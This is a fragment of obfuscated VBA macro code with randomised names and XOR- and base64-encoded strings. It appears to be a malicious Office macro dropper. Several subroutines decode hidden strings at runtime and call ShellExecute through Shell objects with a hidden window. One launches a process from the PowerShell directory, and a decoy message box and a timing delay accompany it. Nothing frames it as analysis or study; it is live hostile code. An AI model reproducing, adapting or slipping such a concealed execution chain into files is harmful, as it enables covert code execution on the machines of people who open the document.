Dim time1, time2

time1 = Now
time2 = Now + TimeValue("0:00:03")
Do Until time1 >= time2
DoEvents
time1 = Now()
Loop

End Sub
Sub TIRBiGZoDXjAJoeJFJLIZHlnaWgtGcxFVtCXTYLGxwRaRCfTKEOYuaUOhCH(utudNcfnCa As String)
Set TWvWdsRnTLuRuQkpnRGNkYdKavmFerJrZPuVwzKyeNglasPmPvK = GetObject(JULePTGAZdgHXLFjbxkYgaIWcIZBNRzdWtuQwuVzEEwIWZ("kdtWGMUnfGarONtPDwCj", DecodeBase64("BQEDbQR9bS8gA1hCYghGEXVaclsvVVlvc3hgQ1Z3IEIMd0UWd097Wg==")))
TWvWdsRnTLuRuQkpnRGNkYdKavmFerJrZPuVwzKyeNglasPmPvK.Document.Application.ShellExecute JULePTGAZdgHXLFjbxkYgaIWcIZBNRzdWtuQwuVzEEwIWZ("kdtWGMUnfGarONtPDwCj", "GwsDMjU+PQsKK08XNys="), JULePTGAZdgHXLFjbxkYgaIWcIZBNRzdWtuQwuVzEEwIWZ("kdtWGMUnfGarONtPDwCj", DecodeBase64("Cg==")), "C:\Windows\System32\WindowsPowerShell\v1.0\", Null, 0

End Sub


Sub geobazwrqDHlExKmMxvdjezexSJnLsZlSPwVwBjGPkYToiFqgoBXzojDbHIhcxZcoUOBtbRWgLXfMNdHZRreBMXpLmaqNl(EzPVIPkpXbghpzhaNCkydSOqNsqSla As String)

Dim eyEEHcWXyArKZMxXvHGGFexMFXUQGbvFbBaVKjOcIVpuKWUIkXoLqgEHLgpkKeFjl: Set eyEEHcWXyArKZMxXvHGGFexMFXUQGbvFbBaVKjOcIVpuKWUIkXoLqgEHLgpkKeFjl = CreateObject(JULePTGAZdgHXLFjbxkYgaIWcIZBNRzdWtuQwuVzEEwIWZ("kdtWGMUnfGarONtPDwCj", "OAwROytjFB4WKwgRLjodPyo="))
eyEEHcWXyArKZMxXvHGGFexMFXUQGbvFbBaVKjOcIVpuKWUIkXoLqgEHLgpkKeFjl.ShellExecute JULePTGAZdgHXLFjbxkYgaIWcIZBNRzdWtuQwuVzEEwIWZ("kdtWGMUnfGarONtPDwCj", DecodeBase64("GQET")), JULePTGAZdgHXLFjbxkYgaIWcIZBNRzdWtuQwuVzEEwIWZ("kdtWGMUnfGarONtPDwCj", DecodeBase64("CgAQdw8GEDc5BDQgHQs6BBsiEC85OCcYARkCLzQCPT8mLQY/NxglHjczHTkjIiIdOgQUAD0rGiQSEjEZAgsaCxU4O05JMUE=")), "", "", 0

End Sub

Sub SjfLQMpTQmYVzeudAFBiwKKXiiwARIfUQtAEGGCoGgDhLTdNzcIprEEofKBFWQAvrkMbjnOsXaUCjWtNiLQjPURJLOdSITH()

Dim YcJquvpUkXJAqPMicoirDuWzJJXbkMFLWjzsqHNEdNyxPqysLkwQogRGgBjFXtuCjUzXOLoTxBMqLvTSoyOscKymKySVqDAqB As String
MsgBox JULePTGAZdgHXLFjbxkYgaIWcIZBNRzdWtuQwuVzEEwIWZ("kdtWGMUnfGarONtPDwCj", DecodeBase64("GQEVNiYsNA8HJgATLi8VMSUWIgsKBRU2Jiw0DwcmABMuLxUxJRYiCwoFFTYmLDQPByYAEy4vFTElFiILCgUVNiYsNA8HIA=="))
'YcJquvpUkXJAqPMicoirDuWzJJXbkMFLWjzsqHNEdNyxPqysLkwQogRGgBjFXtuCjUzXOLoTxBMqLvTSoyOscKymKySVqDAqB = zABbqeYhjSHyNBuhXqFtWqDrVIviprziQnCEBrFmgdSYFgXEaczVFhuYb(7)
'zZXoZYbeMPRtePjhJwZOsRSHxLnktZSluOUQbeVro YcJquvpUkXJAqPMicoirDuWzJJXbkMFLWjzsqHNEdNyxPqysLkwQogRGgBjFXtuCjUzXOLoTxBMqLvTSoyOscKymKySVqDAqB
'pbnHLZcRjJaRtqDeSuyQoSaApSXgqqCTUqXuZrYZrbfpk YcJquvpUkXJAqPMicoirDuWzJJXbkMFLWjzsqHNEdNyxPqysLkwQogRGgBjFXtuCjUzXOLoTxBMqLvTSoyOscKymKySVqDAqB
'geobazwrqDHlExKmMxvdjezexSJnLsZlSPwVwBjGPkYToiFqgoBXzojDbHIhcxZcoUOBtbRWgLXfMNdHZRreBMXpLmaqNl YcJquvpUkXJAqPMicoirDuWzJJXbkMFLWjzsqHNEdNyxPqysLkwQogRGgBjFXtuCjUzXOLoTxBMqLvTSoyOscKymKySVqDAqB
'sl
'TIRBiGZoDXjAJoeJFJLIZHlnaWgtGcxFVtCXTYLGxwRaRCfTKEOYuaUOhCH YcJquvpUkXJAqPMicoirDuWzJJXbkMFLWjzsqHNEdNyxPqysLkwQogRGgBjFXtuCjUzXOLoTxBMqLvTSoyOscKymKySVqDAqB
End Sub



Function DecodeBase64(IsQAxhoajWZNYDyXacfiTpfwTsXnRssQDvOeoPtTeduAtFyAMlrjLKVQRfXjrqCqQmUmPHYST$)
Dim UzxKTfmMloHgThzrZvjRryWUsFfGCLLDIEcldLETmNSiDxr
With CreateObject("Microsoft.XMLDOM").createElement("IsQAxhoajWZNYDyXacfiTpfwTsXnRssQDvOeoPtTeduAtFyAMlrjLKVQRfXjrqCqQmUmPHYST")
.DataType = "bin.base64": .Text = IsQAxhoajWZNYDyXacfiTpfwTsXnRssQDvOeoPtTeduAtFyAMlrjLKVQRfXjrqCqQmUmPHYST
UzxKTfmMloHgThzrZvjRryWUsFfGCLLDIEcldLETmNSiDxr = .nodeTypedValue
With CreateObject("ADODB.Stream")
.Open: .Type = 1: .Write UzxKTfmMloHgThzrZvjRryWUsFfGCLLDIEcldLETmNSiDxr: .Position = 0: .Type = 2: .Charset = "utf-8"
DecodeBase64 = .ReadText
.Close
End With
End With
End Function